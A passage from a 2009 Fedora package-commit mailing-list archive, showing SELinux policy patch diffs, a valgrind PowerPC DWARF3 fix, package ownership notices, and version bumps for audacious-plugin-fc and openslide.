++		apm_stream_connect($1_usertype)
  	')
  
  	optional_policy(`
 -		alsa_read_rw_config($1_t)
-+		chrome_role($1_r, $1_usertype)
++		canna_stream_connect($1_usertype)
  	')
  
  	optional_policy(`
 -		# Allow graphical boot to check battery lifespan
 -		apm_stream_connect($1_t)
++		chrome_role($1_r, $1_usertype)
+ 	')
+ 
+ 	optional_policy(`
+-		canna_stream_connect($1_t)
 +		dbus_system_bus_client($1_usertype)
 +
 +		allow $1_usertype $1_usertype:dbus  send_msg;
 +
 +		optional_policy(`
 +			avahi_dbus_chat($1_usertype)
- 	')
- 
- 	optional_policy(`
--		canna_stream_connect($1_t)
++		')
++
++		optional_policy(`
 +			bluetooth_dbus_chat($1_usertype)
  	')
  
@@ -30491,21 +30890,21 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
 -		modutils_read_module_config($1_t)
 +		modutils_read_module_config($1_usertype)
-+	')
-+
-+	optional_policy(`
-+		mta_rw_spool($1_usertype)
-+		mta_manage_queue($1_usertype)
  	')
  
  	optional_policy(`
 -		mta_rw_spool($1_t)
-+		nsplugin_role($1_r, $1_usertype)
++		mta_rw_spool($1_usertype)
++		mta_manage_queue($1_usertype)
  	')
  
  	optional_policy(`
 -		tunable_policy(`allow_user_mysql_connect',`
 -			mysql_stream_connect($1_t)
++		nsplugin_role($1_r, $1_usertype)
++	')
++
++	optional_policy(`
 +		tunable_policy(`allow_user_postgresql_connect',`
 +			postgresql_stream_connect($1_usertype)
  		')
@@ -30565,18 +30964,20 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  #######################################
-@@ -711,13 +755,26 @@
+@@ -711,13 +759,26 @@
  
  	userdom_base_user_template($1)
  
 -	userdom_manage_home_role($1_r, $1_t)
 +	userdom_manage_home_role($1_r, $1_usertype)
-+
-+	userdom_manage_tmp_role($1_r, $1_usertype)
-+	userdom_manage_tmpfs_role($1_r, $1_usertype)
  
 -	userdom_manage_tmp_role($1_r, $1_t)
 -	userdom_manage_tmpfs_role($1_r, $1_t)
++	userdom_manage_tmp_role($1_r, $1_usertype)
++	userdom_manage_tmpfs_role($1_r, $1_usertype)
+ 
+-	userdom_exec_user_tmp_files($1_t)
+-	userdom_exec_user_home_content_files($1_t)
 +	ifelse(`$1',`unconfined',`',`
 +		gen_tunable(allow_$1_exec_content, true)
 +
@@ -30587,9 +30988,7 @@ diff -b -B --ignore-all-space --exclude-
 +		tunable_policy(`allow_$1_exec_content && use_nfs_home_dirs',`
 +                        fs_exec_nfs_files($1_usertype)
 +		')
- 
--	userdom_exec_user_tmp_files($1_t)
--	userdom_exec_user_home_content_files($1_t)
++
 +		tunable_policy(`allow_$1_exec_content && use_samba_home_dirs',`
 +			fs_exec_cifs_files($1_usertype)
 +		')
@@ -30597,7 +30996,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	userdom_change_password_template($1)
  
-@@ -735,70 +792,72 @@
+@@ -735,70 +796,72 @@
  
  	allow $1_t self:context contains;
  
@@ -30703,7 +31102,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -826,6 +885,8 @@
+@@ -826,6 +889,8 @@
  	')
  
  	userdom_login_user_template($1)
@@ -30712,7 +31111,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	typeattribute $1_t unpriv_userdomain;
  	domain_interactive_fd($1_t)
-@@ -836,6 +897,25 @@
+@@ -836,6 +901,25 @@
  	#
  
  	optional_policy(`
@@ -30738,7 +31137,7 @@ diff -b -B --ignore-all-space --exclude-
  		loadkeys_run($1_t,$1_r)
  	')
  ')
-@@ -865,51 +945,93 @@
+@@ -865,51 +949,93 @@
  
  	userdom_restricted_user_template($1)
  
@@ -30755,12 +31154,12 @@ diff -b -B --ignore-all-space --exclude-
  	auth_role($1_r, $1_t)
 -	auth_search_pam_console_data($1_t)
 +	auth_search_pam_console_data($1_usertype)
++
++	xserver_role($1_r, $1_t)
++	xserver_communicate($1_usertype, $1_usertype)
  
 -	dev_read_sound($1_t)
 -	dev_write_sound($1_t)
-+	xserver_role($1_r, $1_t)
-+	xserver_communicate($1_usertype, $1_usertype)
-+
 +	dev_read_sound($1_usertype)
 +	dev_write_sound($1_usertype)
  	# gnome keyring wants to read this.
@@ -30795,12 +31194,12 @@ diff -b -B --ignore-all-space --exclude-
 +	optional_policy(`
 +		alsa_read_rw_config($1_usertype)
 +	')
-+
+ 
+-	xserver_restricted_role($1_r, $1_t)
 +	optional_policy(`
 +		apache_role($1_r, $1_usertype)
 +	')
- 
--	xserver_restricted_role($1_r, $1_t)
++
 +	optional_policy(`
 +		devicekit_dbus_chat($1_usertype)
 +		devicekit_dbus_chat_disk($1_usertype)
@@ -30845,7 +31244,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -943,8 +1065,8 @@
+@@ -943,8 +1069,8 @@
  	# Declarations
  	#
  
@@ -30855,7 +31254,7 @@ diff -b -B --ignore-all-space --exclude-
  	userdom_common_user_template($1)
  
  	##############################
-@@ -953,58 +1075,67 @@
+@@ -953,58 +1079,67 @@
  	#
  
  	# port access is audited even if dac would not have allowed it, so dontaudit it here
@@ -30889,10 +31288,14 @@ diff -b -B --ignore-all-space --exclude-
 -			storage_raw_read_removable_device($1_t)
 +	optional_policy(`
 +		cdrecord_role($1_r, $1_t)
- 		')
++	')
 +
 +	optional_policy(`
 +		cron_role($1_r, $1_t)
+ 		')
++
++	optional_policy(`
++		games_rw_data($1_usertype)
  	')
  
 -	tunable_policy(`user_dmesg',`
@@ -30900,7 +31303,7 @@ diff -b -B --ignore-all-space --exclude-
 -	',`
 -		kernel_dontaudit_read_ring_buffer($1_t)
 +	optional_policy(`
-+		games_rw_data($1_usertype)
++		gpg_role($1_r, $1_usertype)
  	')
  
 -	# Allow users to run TCP servers (bind to ports and accept connection from
@@ -30910,32 +31313,28 @@ diff -b -B --ignore-all-space --exclude-
 -		corenet_tcp_bind_generic_node($1_t)
 -		corenet_tcp_bind_generic_port($1_t)
 +	optional_policy(`
-+		gpg_role($1_r, $1_usertype)
++		gpm_stream_connect($1_usertype)
  	')
  
  	optional_policy(`
 -		netutils_run_ping_cond($1_t,$1_r)
 -		netutils_run_traceroute_cond($1_t,$1_r)
-+		gpm_stream_connect($1_usertype)
++		execmem_role_template($1, $1_r, $1_t)
  	')
  
  	optional_policy(`
 -		postgresql_role($1_r,$1_t)
-+		execmem_role_template($1, $1_r, $1_t)
++		java_role_template($1, $1_r, $1_t)
  	')
  
 -	# Run pppd in pppd_t by default for user
  	optional_policy(`
 -		ppp_run_cond($1_t,$1_r)
-+		java_role_template($1, $1_r, $1_t)
++		mono_role_template($1, $1_r, $1_t)
  	')
  
  	optional_policy(`
 -		setroubleshoot_stream_connect($1_t)
-+		mono_role_template($1, $1_r, $1_t)
-+	')
-+
-+	optional_policy(`
 +		mount_run($1_t, $1_r)
 +	')
 +
@@ -30953,7 +31352,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -1040,7 +1171,7 @@
+@@ -1040,7 +1175,7 @@
  template(`userdom_admin_user_template',`
  	gen_require(`
  		attribute admindomain;
@@ -30962,7 +31361,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	##############################
-@@ -1049,8 +1180,7 @@
+@@ -1049,8 +1184,7 @@
  	#
  
  	# Inherit rules for ordinary users.
@@ -30972,7 +31371,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	domain_obj_id_change_exemption($1_t)
  	role system_r types $1_t;
-@@ -1075,6 +1205,9 @@
+@@ -1075,6 +1209,9 @@
  	# Skip authentication when pam_rootok is specified.
  	allow $1_t self:passwd rootok;
  
@@ -30982,7 +31381,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_read_software_raid_state($1_t)
  	kernel_getattr_core_if($1_t)
  	kernel_getattr_message_if($1_t)
-@@ -1089,6 +1222,7 @@
+@@ -1089,6 +1226,7 @@
  	kernel_sigstop_unlabeled($1_t)
  	kernel_signull_unlabeled($1_t)
  	kernel_sigchld_unlabeled($1_t)
@@ -30990,7 +31389,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	corenet_tcp_bind_generic_port($1_t)
  	# allow setting up tunnels
-@@ -1096,8 +1230,6 @@
+@@ -1096,8 +1234,6 @@
  
  	dev_getattr_generic_blk_files($1_t)
  	dev_getattr_generic_chr_files($1_t)
@@ -30999,7 +31398,7 @@ diff -b -B --ignore-all-space --exclude-
  	# Allow MAKEDEV to work
  	dev_create_all_blk_files($1_t)
  	dev_create_all_chr_files($1_t)
-@@ -1124,12 +1256,11 @@
+@@ -1124,12 +1260,11 @@
  	files_exec_usr_src_files($1_t)
  
  	fs_getattr_all_fs($1_t)
@@ -31014,7 +31413,7 @@ diff -b -B --ignore-all-space --exclude-
  	term_use_all_terms($1_t)
  
  	auth_getattr_shadow($1_t)
-@@ -1152,20 +1283,6 @@
+@@ -1152,20 +1287,6 @@
  	# But presently necessary for installing the file_contexts file.
  	seutil_manage_bin_policy($1_t)
  
@@ -31035,7 +31434,7 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
  		postgresql_unconfined($1_t)
  	')
-@@ -1211,6 +1328,7 @@
+@@ -1211,6 +1332,7 @@
  	dev_relabel_all_dev_nodes($1)
  
  	files_create_boot_flag($1)
@@ -31043,7 +31442,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	# Necessary for managing /boot/efi
  	fs_manage_dos_files($1)
-@@ -1276,11 +1394,15 @@
+@@ -1276,11 +1398,15 @@
  interface(`userdom_user_home_content',`
  	gen_require(`
  		type user_home_t;
@@ -31059,7 +31458,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1391,12 +1513,13 @@
+@@ -1391,12 +1517,13 @@
  	')
  
  	allow $1 user_home_dir_t:dir search_dir_perms;
@@ -31074,7 +31473,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -1429,6 +1552,14 @@
+@@ -1429,6 +1556,14 @@
  
  	allow $1 user_home_dir_t:dir list_dir_perms;
  	files_search_home($1)
@@ -31089,7 +31488,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1444,9 +1575,11 @@
+@@ -1444,9 +1579,11 @@
  interface(`userdom_dontaudit_list_user_home_dirs',`
  	gen_require(`
  		type user_home_dir_t;
@@ -31101,7 +31500,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1503,6 +1636,42 @@
+@@ -1503,6 +1640,42 @@
  	allow $1 user_home_dir_t:dir relabelto;
  ')
  
@@ -31144,7 +31543,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  ## <summary>
  ##	Create directories in the home dir root with
-@@ -1577,6 +1746,8 @@
+@@ -1577,6 +1750,8 @@
  	')
  
  	dontaudit $1 user_home_t:dir search_dir_perms;
@@ -31153,7 +31552,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1619,6 +1790,24 @@
+@@ -1619,6 +1794,24 @@
  
  ########################################
  ## <summary>
@@ -31178,7 +31577,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Do not audit attempts to set the
  ##	attributes of user home files.
  ## </summary>
-@@ -1670,6 +1859,7 @@
+@@ -1670,6 +1863,7 @@
  		type user_home_dir_t, user_home_t;
  	')
  
@@ -31186,7 +31585,7 @@ diff -b -B --ignore-all-space --exclude-
  	read_files_pattern($1, { user_home_dir_t user_home_t }, user_home_t)
  	files_search_home($1)
  ')
-@@ -1797,19 +1987,32 @@
+@@ -1797,19 +1991,32 @@
  #
  interface(`userdom_exec_user_home_content_files',`
  	gen_require(`
@@ -31226,7 +31625,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1844,6 +2047,7 @@
+@@ -1844,6 +2051,7 @@
  interface(`userdom_manage_user_home_content_files',`
  	gen_require(`
  		type user_home_dir_t, user_home_t;
@@ -31234,7 +31633,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	manage_files_pattern($1, user_home_t, user_home_t)
-@@ -2391,7 +2595,7 @@
+@@ -2391,7 +2599,7 @@
  
  ########################################
  ## <summary>
@@ -31243,7 +31642,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -2399,19 +2603,20 @@
+@@ -2399,19 +2607,20 @@
  ##	</summary>
  ## </param>
  #
@@ -31267,7 +31666,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -2419,38 +2624,17 @@
+@@ -2419,33 +2628,12 @@
  ##	</summary>
  ## </param>
  #
@@ -31282,11 +31681,10 @@ diff -b -B --ignore-all-space --exclude-
 -	read_lnk_files_pattern($1, user_tmpfs_t, user_tmpfs_t)
 -	allow $1 user_tmpfs_t:dir list_dir_perms;
 -	fs_search_tmpfs($1)
-+	allow $1 user_tty_device_t:chr_file getattr;
- ')
- 
- ########################################
- ## <summary>
+-')
+-
+-########################################
+-## <summary>
 -##	Get the attributes of a user domain tty.
 -## </summary>
 -## <param name="domain">
@@ -31301,16 +31699,11 @@ diff -b -B --ignore-all-space --exclude-
 -	')
 -
 -	allow $1 user_tty_device_t:chr_file getattr;
--')
--
--########################################
--## <summary>
--##	Do not audit attempts to get the attributes of a user domain tty.
-+##	Do not audit attempts to get the attributes of a user domain tty.
- ## </summary>
- ## <param name="domain">
- ##	<summary>
-@@ -2749,7 +2933,7 @@
++	allow $1 user_tty_device_t:chr_file getattr;
+ ')
+ 
+ ########################################
+@@ -2749,7 +2937,7 @@
  
  	domain_entry_file_spec_domtrans($1, unpriv_userdomain)
  	allow unpriv_userdomain $1:fd use;
@@ -31319,7 +31712,7 @@ diff -b -B --ignore-all-space --exclude-
  	allow unpriv_userdomain $1:process sigchld;
  ')
  
-@@ -2765,11 +2949,32 @@
+@@ -2765,11 +2953,32 @@
  #
  interface(`userdom_search_user_home_content',`
  	gen_require(`
@@ -31354,7 +31747,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2897,7 +3102,25 @@
+@@ -2897,7 +3106,25 @@
  		type user_tmp_t;
  	')
  
@@ -31381,7 +31774,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2934,6 +3157,7 @@
+@@ -2934,6 +3161,7 @@
  	')
  
  	read_files_pattern($1, userdomain, userdomain)
@@ -31389,7 +31782,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_search_proc($1)
  ')
  
-@@ -3064,3 +3288,578 @@
+@@ -3064,3 +3292,578 @@
  
  	allow $1 userdomain:dbus send_msg;
  ')


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.949
retrieving revision 1.950
diff -u -p -r1.949 -r1.950
--- selinux-policy.spec	22 Oct 2009 19:59:10 -0000	1.949
+++ selinux-policy.spec	23 Oct 2009 14:40:39 -0000	1.950
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 32%{?dist}
+Release: 33%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -445,6 +445,9 @@ exit 0
 %endif
 
 %changelog
+* Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-33
+- Allow firefox to transition to java
+
 * Thu Oct 22 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-32
 - Allow unconfined_execmem_t to transition to sandbox
 - Allow postfix_cleanup to read etc_alias



From jakub at fedoraproject.org  Fri Oct 23 15:15:39 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Fri, 23 Oct 2009 15:15:39 +0000 (UTC)
Subject: rpms/valgrind/F-12 valgrind-3.5.0-ppc-dwarf3.patch, NONE,
	1.1 valgrind.spec, 1.71, 1.72
Message-ID: <20091023151540.05E1E11C01EA@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/valgrind/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8426

Modified Files:
	valgrind.spec 
Added Files:
	valgrind-3.5.0-ppc-dwarf3.patch 
Log Message:
3.5.0-6

valgrind-3.5.0-ppc-dwarf3.patch:
 m_debuginfo/d3basics.c  |    9 +++++----
 m_debuginfo/readdwarf.c |   18 +++++++++---------
 m_stacktrace.c          |    2 +-
 3 files changed, 15 insertions(+), 14 deletions(-)

--- NEW FILE valgrind-3.5.0-ppc-dwarf3.patch ---
--- valgrind/coregrind/m_debuginfo/d3basics.c.jj	2009-10-22 17:40:55.000000000 +0200
+++ valgrind/coregrind/m_debuginfo/d3basics.c	2009-10-23 15:44:21.948199235 +0200
@@ -387,12 +387,8 @@ static Bool get_Dwarf_Reg( /*OUT*/Addr* 
    if (regno == 7/*RSP*/) { *a = regs->sp; return True; }
 #  elif defined(VGP_ppc32_linux)
    if (regno == 1/*SP*/) { *a = regs->sp; return True; }
-   if (regno == 31) return False;
-   vg_assert(0);
 #  elif defined(VGP_ppc64_linux)
    if (regno == 1/*SP*/) { *a = regs->sp; return True; }
-   if (regno == 31) return False;
-   vg_assert(0);
 #  elif defined(VGP_ppc32_aix5) || defined(VGP_ppc64_aix5)
    vg_assert(0); /* this function should never be called */
 #  else
@@ -831,7 +827,12 @@ GXResult ML_(evaluate_Dwarf3_Expr) ( UCh
          case DW_OP_call_frame_cfa:
             if (!regs)
                FAIL("evaluate_Dwarf3_Expr: DW_OP_call_frame_cfa but no reg info");
+#if defined(VGP_ppc32_linux) || defined(VGP_ppc64_linux)
+            /* Valgrind on ppc32/ppc64 currently doesn't use unwind info.  */
+            uw1 = *(Addr *)(regs->sp);
+#else
             uw1 = ML_(get_CFA)(regs->ip, regs->sp, regs->fp, 0, ~(UWord) 0);
+#endif
             if (!uw1)
                FAIL("evaluate_Dwarf3_Expr: Could not resolve "
                     "DW_OP_call_frame_cfa");
--- valgrind/coregrind/m_debuginfo/readdwarf.c.jj	2009-10-22 17:40:55.000000000 +0200
+++ valgrind/coregrind/m_debuginfo/readdwarf.c	2009-10-23 15:42:17.979217217 +0200
@@ -1778,11 +1778,11 @@ void ML_(read_debuginfo_dwarf1) ( 
 #elif defined(VGP_ppc32_linux)
 #  define FP_REG         1
 #  define SP_REG         1
-#  define RA_REG_DEFAULT 8     // CAB: What's a good default ?
+#  define RA_REG_DEFAULT 65
 #elif defined(VGP_ppc64_linux)
 #  define FP_REG         1
 #  define SP_REG         1
-#  define RA_REG_DEFAULT 8     // CAB: What's a good default ?
+#  define RA_REG_DEFAULT 65
 #elif defined(VGP_x86_darwin)
 #  define FP_REG         5
 #  define SP_REG         4
@@ -1796,7 +1796,11 @@ void ML_(read_debuginfo_dwarf1) ( 
 #endif
 
 /* the number of regs we are prepared to unwind */
-#define N_CFI_REGS 20
+#if defined(VGP_ppc32_linux) || defined(VGP_ppc64_linux)
+# define N_CFI_REGS 72
+#else
+# define N_CFI_REGS 20
+#endif
 
 /* Instructions for the automaton */
 enum dwarf_cfa_primary_ops
@@ -3422,12 +3426,8 @@ void ML_(read_callframe_info_dwarf3)
    UWord  ehframe_cfsis = 0;   
 
 #  if defined(VGP_ppc32_linux) || defined(VGP_ppc64_linux)
-   if (!VG_(needs).var_info /* the tool requires it */   
-       && !VG_(clo_read_var_info) /* the user asked for it */) {
-      /* These targets don't use CFI-based stack unwinding, but still might
-         need it for DW_OP_call_frame_cfa support. */
-      return;
-   }
+   /* These targets don't use CFI-based stack unwinding.  */
+   return;
 #  endif
 
    /* If we are reading .debug_frame after .eh_frame has been read, only
--- valgrind/coregrind/m_stacktrace.c.jj	2009-08-19 15:37:47.000000000 +0200
+++ valgrind/coregrind/m_stacktrace.c	2009-10-23 14:57:08.734338026 +0200
@@ -430,9 +430,9 @@ UInt VG_(get_StackTrace_wrk) ( ThreadId 
 #           endif
 
             if (0 == ip || 1 == ip) break;
-            fp = (((UWord*)fp)[0]);
             if (sps) sps[i] = fp; /* NB. not sp */
             if (fps) fps[i] = fp;
+            fp = (((UWord*)fp)[0]);
             ips[i++] = ip - 1; /* -1: refer to calling insn, not the RA */
             if (debug)
                VG_(printf)("     ipsF[%d]=%#08lx\n", i-1, ips[i-1]);


Index: valgrind.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valgrind/F-12/valgrind.spec,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- valgrind.spec	22 Oct 2009 08:16:26 -0000	1.71
+++ valgrind.spec	23 Oct 2009 15:15:35 -0000	1.72
@@ -1,7 +1,7 @@
 Summary: Tool for finding memory management bugs in programs
 Name: valgrind
 Version: 3.5.0
-Release: 5
+Release: 6
 Epoch: 1
 Source0: http://www.valgrind.org/downloads/valgrind-%{version}.tar.bz2
 Patch1: valgrind-3.5.0-cachegrind-improvements.patch
@@ -15,6 +15,7 @@ Patch8: valgrind-3.5.0-pr40659.patch
 Patch9: valgrind-3.5.0-helgrind-race-supp.patch
 Patch10: valgrind-3.5.0-ppc-tests.patch
 Patch11: valgrind-3.5.0-amd64-loopnel.patch
+Patch12: valgrind-3.5.0-ppc-dwarf3.patch
 License: GPLv2
 URL: http://www.valgrind.org/
 Group: Development/Debuggers
@@ -79,6 +80,7 @@ or valgrind plugins.
 %patch9 -p1
 %patch10 -p1
 %patch11 -p1
+%patch12 -p1
 
 %build
 %ifarch x86_64 ppc64
@@ -164,6 +166,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Fri Oct 23 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-6
+- ppc and ppc64 fixes
+
 * Thu Oct 22 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-5
 - add emulation of 0x67 prefixed loop* insns on x86_64 (#530165)
 



From pkgdb at fedoraproject.org  Fri Oct 23 15:23:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 23 Oct 2009 15:23:22 +0000
Subject: [pkgdb] gtk-qt-engine ownership updated
Message-ID: <20091023152323.0109210F85B@bastion2.fedora.phx.redhat.com>

Package gtk-qt-engine in Fedora devel was orphaned by rdieter

To make changes to this package see:
  /pkgdb/packages/name/gtk-qt-engine



From pkgdb at fedoraproject.org  Fri Oct 23 15:23:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 23 Oct 2009 15:23:30 +0000
Subject: [pkgdb] gtk-qt-engine ownership updated
Message-ID: <20091023152330.70AF510F85B@bastion2.fedora.phx.redhat.com>

Package gtk-qt-engine in Fedora 12 was orphaned by rdieter

To make changes to this package see:
  /pkgdb/packages/name/gtk-qt-engine



From mschwendt at fedoraproject.org  Fri Oct 23 15:27:32 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Fri, 23 Oct 2009 15:27:32 +0000 (UTC)
Subject: rpms/audacious-plugin-fc/devel .cvsignore, 1.3,
	1.4 audacious-plugin-fc.spec, 1.15, 1.16 sources, 1.3,
	1.4 audacious-plugin-fc-0.3-audacious2.patch, 1.1,
	NONE audacious-plugin-fc-0.3-dialog.patch, 1.1, NONE
Message-ID: <20091023152732.E303411C01EA@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugin-fc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12148

Modified Files:
	.cvsignore audacious-plugin-fc.spec sources 
Removed Files:
	audacious-plugin-fc-0.3-audacious2.patch 
	audacious-plugin-fc-0.3-dialog.patch 
Log Message:
* Fri Oct 23 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 0.4-1
- Upgrade to 0.4 for Audacious 2.2 InputPlugin API changes.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugin-fc/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	16 Oct 2008 09:50:58 -0000	1.3
+++ .cvsignore	23 Oct 2009 15:27:30 -0000	1.4
@@ -1 +1 @@
-audacious-plugin-fc-0.3.tar.bz2
+audacious-plugin-fc-0.4.tar.bz2


Index: audacious-plugin-fc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugin-fc/devel/audacious-plugin-fc.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- audacious-plugin-fc.spec	24 Jul 2009 17:31:42 -0000	1.15
+++ audacious-plugin-fc.spec	23 Oct 2009 15:27:30 -0000	1.16
@@ -1,18 +1,16 @@
 # Minimum audacious/audacious-plugins version in inter-package
-# dependencies. We have 2.1 for both, so we enforce 2.1.
-%define aud_ver 2.1
+# dependencies. We need 2.2 for both.
+%define aud_ver 2.2
 
 %define plugindir %(pkg-config audacious --variable=input_plugin_dir)
 
 Summary: Future Composer input plugin for Audacious
 Name: audacious-plugin-fc
-Version: 0.3
-Release: 5
+Version: 0.4
+Release: 1
 URL: http://xmms-fc.sourceforge.net/
 License: GPLv2+
 Source:	http://download.sourceforge.net/xmms-fc/audacious-plugin-fc-%{version}.tar.bz2
-Patch0: audacious-plugin-fc-0.3-audacious2.patch
-Patch1: audacious-plugin-fc-0.3-dialog.patch
 Group: Applications/Multimedia
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: audacious-devel >= %{aud_ver}
@@ -29,14 +27,12 @@ music files from AMIGA. Song-length dete
 
 %prep
 %setup -q
-%patch0 -p1 -b .audacious2
-%patch1 -p1 -b .dialog
 
 
 %build
 %configure
 # temporary work-around for #454364
-ln -s Config.h src/config.h
+#ln -s Config.h src/config.h
 # ---
 make %{?_smp_mflags}
 
@@ -58,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 0.4-1
+- Upgrade to 0.4 for Audacious 2.2 InputPlugin API changes.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugin-fc/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	16 Oct 2008 09:50:58 -0000	1.3
+++ sources	23 Oct 2009 15:27:31 -0000	1.4
@@ -1 +1 @@
-96975f144e0e9f19d340f16e4bad27c6  audacious-plugin-fc-0.3.tar.bz2
+a36fbbddf41b162e1ed6df0b3a6637c7  audacious-plugin-fc-0.4.tar.bz2


--- audacious-plugin-fc-0.3-audacious2.patch DELETED ---


--- audacious-plugin-fc-0.3-dialog.patch DELETED ---



From agoode at fedoraproject.org  Fri Oct 23 15:35:36 2009
From: agoode at fedoraproject.org (Adam Goode)
Date: Fri, 23 Oct 2009 15:35:36 +0000 (UTC)
Subject: rpms/openslide/F-12 .cvsignore, 1.2, 1.3 openslide.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091023153536.E698411C01EA@cvs1.fedora.phx.redhat.com>

Author: agoode

Update of /cvs/pkgs/rpms/openslide/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14685

Modified Files:
	.cvsignore openslide.spec sources 
Log Message:
* Fri Oct 23 2009 Adam Goode <adam at spicenitz.org> - 2.2.1-1
- New upstream release
   + Fix thread safety (not really lockless anymore)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openslide/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	22 Sep 2009 21:04:38 -0000	1.2
+++ .cvsignore	23 Oct 2009 15:35:36 -0000	1.3
@@ -1 +1 @@
-openslide-2.2.0.tar.xz
+openslide-2.2.1.tar.xz


Index: openslide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openslide/F-12/openslide.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openslide.spec	22 Sep 2009 21:05:26 -0000	1.1
+++ openslide.spec	23 Oct 2009 15:35:36 -0000	1.2
@@ -1,6 +1,6 @@
 Name:		openslide
-Version:	2.2.0
-Release:	3%{?dist}
+Version:	2.2.1
+Release:	1%{?dist}
 Summary:	C library for reading virtual slides
 
 Group:		System Environment/Libraries
@@ -68,6 +68,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Adam Goode <adam at spicenitz.org> - 2.2.1-1
+- New upstream release
+   + Fix thread safety (not really lockless anymore)
+
 * Tue Sep 22 2009 Adam Goode <adam at spicenitz.org> - 2.2.0-3
 - Use xz instead of gz
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openslide/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	22 Sep 2009 21:04:38 -0000	1.2
+++ sources	23 Oct 2009 15:35:36 -0000	1.3
@@ -1 +1 @@
-bec05ceb1dfb569606c4691010eecde8  openslide-2.2.0.tar.xz
+54c2488cfc065fa04674ed0cbdc3e17b  openslide-2.2.1.tar.xz



From agoode at fedoraproject.org  Fri Oct 23 15:37:16 2009
From: agoode at fedoraproject.org (Adam Goode)
Date: Fri, 23 Oct 2009 15:37:16 +0000 (UTC)
Subject: rpms/openslide/F-11 .cvsignore, 1.2, 1.3 openslide.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091023153716.B978211C01EA@cvs1.fedora.phx.redhat.com>

Author: agoode

Update of /cvs/pkgs/rpms/openslide/F-11
